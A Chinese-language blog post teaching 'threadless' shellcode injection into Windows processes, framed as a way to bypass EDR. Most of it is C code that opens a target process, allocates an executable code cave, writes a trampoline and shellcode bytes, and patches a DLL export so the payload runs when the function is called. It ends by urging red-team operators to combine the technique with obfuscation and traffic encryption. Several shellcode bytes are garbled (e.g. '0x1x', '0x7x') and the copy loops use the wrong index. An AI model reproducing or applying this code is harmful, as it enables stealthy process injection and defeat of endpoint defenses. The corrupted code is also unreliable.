无线程Shellcode注入:突破EDR检测的隐匿技术

无线程Shellcode注入技术解析

在网络安全的攻防博弈中,随着传统进程注入技术逐渐被EDR(终端检测与响应)工具所拦截,攻击者必须寻找新的方法来实现无痕入侵。本文将深入探讨一种名为无线程Shellcode注入的技术,这种技术能够在完全防护的Windows 11 23H2 x64系统中,无需创建新线程即可完成第三方进程注入,从而绕过EDR的检测。

传统Shellcode注入技术的检测特征分析

标准进程注入操作构成完整IoC链,各环节均受EDR内核监控:

  1. 进程访问阶段
    • 用户态API:OpenProcess(PROCESS_ALL_ACCESS)
    • 内核态系统调用:NtOpenProcess的DesiredAccess参数检测
    • EDR Hook点:ObRegisterCallbacks进程句柄过滤
  2. 内存操作阶段
    • 显式分配:VirtualAllocEx(MEM_COMMIT|MEM_RESERVE)
    • 内存映射:NtMapViewOfSection的SEC_IMAGE属性欺骗检测
    • ETW事件:Microsoft-Windows-Threat-Intelligence的 MemoryAllocation事件
  3. 代码写入阶段
    • 直接写入:WriteProcessMemory触发的CR3切换监控
    • 间接写入:基于NtWriteVirtualMemory的Copy-on-Write检测
  4. 执行触发阶段
    • 线程创建:CreateRemoteThread的线程起始地址白名单校验
    • APC注入:NtQueueApcThread的KAPC_STATE结构体分析
    • 内核回调:PsSetCreateThreadNotifyRoutine

该操作序列已被EDR深度固化检测,一旦触发,立即判定为恶意行为并终止进程。

核心问题

能否在不直接调用敏感WinAPI的情况下实现相同功能?前三个步骤(进程访问、内存操作、代码写入)存在替代方案,但在执行阶段中如果存在(CreateRemoteThread/NtQueueApcThread)必然触发EDR告警。

核心技术方案:动态库函数劫持构建隐蔽通信通道

技术目标:通过合法进程网络函数实现无文件化隐蔽通信。

目标函数筛选

  • 协议层:
  • 传输层:socket()(连接创建)、sendto()(UDP数据)。
  • 应用层:WinHttpSendRequest()(HTTP请求)、业务函数(如UpdateCheck())。
  • 关键条件:低频稳定调用(如分钟级心跳检测)、参数可安全修改(如URL重定向)。

函数劫持实现

  • 内联钩子(Inline Hook):
  • 补丁函数入口前5字节为jmp指令,指向内存中Shellcode。
  • Trampoline跳板保存原指令,确保注入后恢复原函数执行流程。

隐蔽通信机制

  • 协议伪装:攻击数据嵌入HTTP头、DNS查询等合法流量。
  • 规避检测:
  • 用户态DLL优先(如ws2_32.dll),避免内核态风险。
  • 反射式注入(无磁盘文件)+动态Hook地址变更,绕过EDR扫描。

技术链路:逆向定位函数→Hook注入代码→利用原生通道传输数据→模拟合法流量特征。

该技术的实现包含以下步骤:

  1. 定位可执行内存段:在目标进程地址空间中搜索满足Shellcode及跳板指令部署要求的连续内存区域
  2. 写入代码:将shellcode和trampoline入该内存区域;
  3. 补丁修改导出函数:修改动态链接库(DLL)的导出函数,使其执行我们的代码;
  4. 等待函数调用触发执行:等待目标函数被调用,从而触发shellcode运行。

但动态库可能包含成千上万个函数,随机选择的函数可能并不适用谁都不能保证它会在合理时间内被调用。

解决思路:需要深入分析目标软件,从中筛选出可拦截的导出函数。理想情况下,应选择定期调用特定DLL函数的应用程序(例如:磁盘临时访问文件并写入中间结果时,或按固定间隔调用相关API检查服务器可用性时)。若找到此类函数,就能确保在确定的调用周期内触发。

注意事项:高频函数劫持警告:避免拦截调用频率>1Hz的函数,易引发进程崩溃或性能异常。

研究工具推荐:可使用API Monitor.进行分析。该工具能够实时显示WinAPI的调用情况,以及测试程序中哪些操作会触发这些调用。此外,还能查看附加到进程的DLL及其实现的API(而非仅显示来源不明的WinAPI列表)。基于监控数据可判断动态库导出函数中哪些适合拦截,并作为目标函数。

编程实现

让我们通过代码实现无线程注入(Threadless Injection)所需的每个步骤。

通过进程名称获取目标进程句柄

HANDLE hProc = NULL;                    
LPCWSTR ps_name;                        
DWORD *procID;                          
PROCESSENTRY32 pe32;                    
pe32.dwSize = sizeof(PROCESSENTRY32); 

// 创建进程快照
HANDLE process_snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (!process_snap) return NULL;       

// 遍历进程列表
if (Process32First(process_snap, &pe32)) {
do {
if (_wcsicmp(pe32.szExeFile, ps_name) == 0) {
            *procID = pe32.th32ProcessID;  

// 打开进程(请求全部权限)
            hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *procID);
if (!hProc) continue;           
return hProc;                   
        }
    } while (Process32Next(process_snap, &pe32)); 
}

加载目标动态库并获取API地址

// 尝试获取kernelbase.dll的模块句柄(宽字符版本,适用于Unicode环境)
HMODULE hModule = GetModuleHandleW(L"kernelbase.dll"); 
// 若模块未加载(句柄为NULL),则显式加载该DLL到当前进程地址空间
if (hModule == NULL)  
    hModule = LoadLibraryW(L"kernelbase.dll");

内存空间探测(定位可执行代码注入区)

// 存储找到的可用内存地址
UINT_PTR  addr_of_codecave;     
uint64_t function_addr;        
BOOL gotchaCave;              

// 以目标函数为中心,向两侧扩展搜索(±1.8GB范围)
for (addr_of_codecave = (function_addr & 0xFFFFFFFFFFF70000) - 0x70000000;
     addr_of_codecave < function_addr + 0x70000000;
     addr_of_codecave += 0x10000)  
{
    LPVOID lpAddr = VirtualAllocEx(hProc,
                                 addr_of_codecave,
                                 size,
                                 MEM_COMMIT | MEM_RESERVE,  
                                 PAGE_EXECUTE_READWRITE);  

if (lpAddr == NULL) continue;

// 成功分配内存,记录地址并终止搜索
    gotchaCave = TRUE;
break;
}

// 返回找到的可用内存地址(失败返回NULL)
if (gotchaCave == TRUE) return addr_of_codecave;

Trampoline与Payload的处理

为清晰起见,我们将Trampoline和Payload分开定义。我们使用Payload调出计算器进行测试,Trampoline负责平衡堆栈、保存/恢复寄存器,并在调用Payload后恢复原函数执行流程。

unsignedchar tramp_to_shellcode[] = {
// 执行流劫持准备
0x58,0x48, 0x83, 0xE8, 0x05, 

// 寄存器保存区
0x50,0x51,0x52,   
0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53, 

// Shellcode加载段
0x48, 0xB9,0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 
0x48, 0x89, 0x08, 

// 执行环境配置
0x48, 0x83, 0xEC, 0x40, 
0xE8, 0x11, 0x00, 0x00, 0x00, 

// 执行流恢复
0x48, 0x83, 0xC4, 0x40,
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 
0x5A, 0x59, 0x58, 
0xFF, 0xE0, 
0x90
};
unsignedchar shellcode[] = {
// 保存寄存器状态 (RBX, RSI, RDI, RBP, RSP, RAX)
0x53, 0x56, 0x57, 0x55, 0x54, 0x58,

// 栈对齐调整 (16字节边界)
0x66, 0x83, 0xE4, 0xF0, 

// 准备调用参数 ("calc")
0x50, 0x6A, 0x60, 0x5A, 
0x68, 0x63, 0x61, 0x6C, 0x63, 

// PEB/TEB遍历开始
0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32,       
0x48, 0x8B, 0x76, 0x18,      
0x48, 0x8B, 0x76, 0x10,      

// 导出表解析循环
0x48, 0xAD,                  
0x48, 0x8B, 0x30,            
0x48, 0x8B, 0x7E, 0x30,      
0x03, 0x57, 0x3C,           

// 函数哈希比对
0x8B, 0x5C, 0x17, 0x28,      
0x8B, 0x74, 0x1x, 0x20,       
0x48, 0x01, 0xFE, 
0x8B, 0x54, 0x1F, 0x24,       
0x0F, 0xB7, 0x2C, 0x1x,      

// WinExec调用准备
0x8D, 0x52, 0x02, 
0xAD, 
0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45,  
0x7x, 0xEF,                
// 调用执行
0x8B, 0x74, 0x1F, 0x1C,      
0x48, 0x01, 0xFE, 
0x8B, 0x34, 0xAE,            
0x4x, 0x01, 0xF7,            
0x99, 0xFF, 0xD7,           

// 恢复现场
0x48, 0x83, 0xC4, 0x68,       
0x5C, 0x5D, 0x5x, 0x5E, 0x5B, 
0xC3
};

读取DLL导出函数的起始部分并利用获取的数据配置Trampoline

int64_t originalBytes = *(int64_t*)dll_export_fun_addr; 
// 将原函数前8字节指令写入跳板代码偏移0x12处(预留空间需为全零)
*(uint64_t*)(tramp_to_shellcode + 0x12) = originalBytes;

配置内存并授予PAGE_EXECUTE_READWRITE权限以设置Hook:

DWORD saveProtectFlags = 0;
// 修改目标函数所在内存页的保护属性为可执行+读写(8字节范围)
if (!VirtualProtectEx(hProc, dll_export_fun_addr, 8, PAGE_EXECUTE_READWRITE, &saveProtectFlags)) 
return 1; 

在被攻击库导出的函数中创建hook并调用然后对其进行配置:

// Call function opcode(函数调用操作码)
unsignedchar call_opcode_to_shell[] = { 0xe8, 0, 0, 0, 0 };
// 计算相对调用地址(目标地址 - 当前指令地址 - 指令长度)
int call_addr = (remoteAddress - ((UINT_PTR)dll_export_fun_addr + 5));
// 配置call指令的操作数(相对偏移量)
*(int*)(call_opcode_to_shell + 1) = call_addr;

写入Trampoline和Payload,然后更改目标内存属性:首先设置为PAGE_EXECUTE_READWRITE(可执行、读、写)完成后把PAGE_EXECUTE_READ恢复为(可执行、读)。

VirtualProtectEx(hProc,
            call_opcode_to_shell,
sizeof(call_opcode_to_shell),
            PAGE_EXECUTE_READWRITE,
NULL);
if (!WriteProcessMemory(hProc,
            dll_export_fun_addr,
            call_opcode_to_shell,
sizeof(call_opcode_to_shell),
            &numOfWrittenBytes))
return 1;
unsignedchar mypayload[sizeof(tramp_to_shellcode) + sizeof(shellcode)];
// 在这两个循环中,创建一个同时包含shellcode和Trampoline的大payload
for (size_t x = 0; x < sizeof(tramp_to_shellcode); ++x)
        mypayload[i] = tramp_to_shellcode[i];
for (size_t x = 0; x < sizeof(shellcode); ++x)
        mypayload[sizeof(shellcode) + i] = shellcode[i];
// 修改内存访问标志以启用写入权限
if (!VirtualProtectEx(hProc,
            remoteAddress,
sizeof(mypayload),
            PAGE_READWRITE,
            &saveProtectFlags))
return 1;
// 写入payload
if (!WriteProcessMemory(hProc,
            remoteAddress,
            mypayload,
sizeof(mypayload),
            &numOfWrittenBytes))
return 1;
// 恢复内存访问权限
if (!VirtualProtectEx(hProc,
            remoteAddress,
sizeof(mypayload),
            PAGE_EXECUTE_READ,
            &saveProtectFlags))
return 1;

当前阶段的主要任务为等待应用程序触发对已修补函数的调用。经分析,被修改的API已通过API Monitor验证存在周期性触发逻辑,因此预计在较短时间内可观察到预期执行效果。

结论

以上便是无线程注入技术的核心原理解析——该技术无需显式调用线程创建函数即可完成代码注入。实现突破了传统注入方法的固有范式,为规避安全检测并维持持久化操作提供了新路径。

需要明确的是,上述代码仅为概念验证模板,若要实现真正意义上的隐蔽性,仍需在内存管理、代码混淆、通信机制等维度进行深度优化。无线程注入技术无法作为单一的全场景解决方案,无法单凭自身实现完全的攻击隐蔽性。从红队作战的专业视角出发,唯有将注入技术与API调用欺骗、代码虚拟化、流量加密等多重技术手段进行体系化组合,才能构建具备实战威慑力的攻击链条。

网络安全对抗本质上是技术纵深与攻防智慧的博弈,愿以上内容为您在复杂的攻击场景中提供有效参考。

© 版权声明
THE END
喜欢就支持一下吧
点赞13 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容